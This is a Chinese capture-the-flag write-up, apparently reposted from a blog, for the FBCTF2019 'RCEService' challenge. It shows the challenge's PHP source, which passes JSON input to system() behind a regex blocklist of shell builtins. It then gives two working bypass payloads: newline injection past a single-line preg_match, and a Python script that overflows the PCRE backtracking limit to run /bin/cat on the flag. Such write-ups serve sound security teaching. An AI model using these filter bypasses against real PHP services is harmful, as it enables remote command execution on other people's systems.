[FBCTF2019]RCEService
作者:互联网
题目场景:
试试{"cmd" : "ls"}
再试试{"cmd" : "cat /flag"}
题目源码
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
解法一:
preg_match()函数,只能匹配一行,所以用换行符%0a
payload:
{%0A"cmd": "ls /"%0A}
源码里有putenv('PATH=/home/rceservice/jail');
看看这个目录里有什么
{%0a"cmd" : "ls /home/rceservice"%0a}
找到flag所在的目录
没有cat命令,用/bin/cat代替
{%0a"cmd" : "/bin/cat /home/rceservice/flag"%0a}
解法二
p神的文章
PHP利用PCRE回溯次数限制绕过某些安全限制
脚本:
import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'
res = requests.post("http://6f8c42c1-9076-48e0-9392-6fb25a7403fe.node3.buuoj.cn/", data={"cmd":payload})
print(res.text)
参考:
https://mochu.blog.csdn.net/article/details/105151353
标签:cmd,flag,RCEService,echo,json,0a,FBCTF2019,cat 来源: https://blog.csdn.net/fmyyy1/article/details/115285829